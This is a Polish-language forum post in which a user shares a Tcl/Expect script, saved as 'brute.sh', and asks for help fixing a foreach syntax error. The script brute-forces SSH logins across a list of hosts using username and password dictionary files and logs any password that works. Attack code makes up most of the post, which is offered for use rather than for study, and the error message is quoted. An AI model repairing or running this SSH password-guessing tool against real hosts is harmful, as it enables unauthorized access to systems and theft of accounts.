b

Potrzebujesz pomocy z C, C++, perl, python, itp.
Awatar użytkownika
nighttrain
Beginner
Posty: 123
Rejestracja: 07 marca 2009, 19:47
Lokalizacja: 127.0.0.1

błąd skryptu tcl

Post autor: nighttrain »

Witam.

Mam taki oto skrypt:

Kod: Zaznacz cały

#!/usr/bin/env tclsh

set timeout 5
set dictionary [lindex $argv 0]
set file [lindex $argv 1]
set user [lindex $argv 2]

if {[llength $argv] != 3} {
   puts stderr "Usage: $argv0 <dictionary-file> <hosts-file> <user-file>\n"
   exit }

set tryHost [open $file r]
set tryPass [open $dictionary r]
set tryUser [open $user r]

set passwords [read $tryPass]
set hosts [read $tryHost]
set login [read $tryUser]

foreach username $login
{
 foreach passwd $passwords
 {
  foreach ip $hosts
  {
   spawn ssh $username@$ip
   expect "-"
   send "$passwd\n"
   set logFile [open $ip.log a]
   expect "L"
   {
        puts $logFile "password for $username@$ip is $passwd\n"
        close $logFile
   }
   set id [exp_pid]
   exec kill -INT $id
  }
 }
}

Niestety przy próbie uruchomienia dostaję taki komunikat:

Kod: Zaznacz cały

wrong # args: should be "foreach varList list ?varList list ...? command"     while executing "foreach username $login"     (file "./brute.sh" line 28) 
Niestety nie znam tcl, czy mógłby mi ktoś pomóc poprawić ten błąd?

Pozdrawiam,
night
ODPOWIEDZ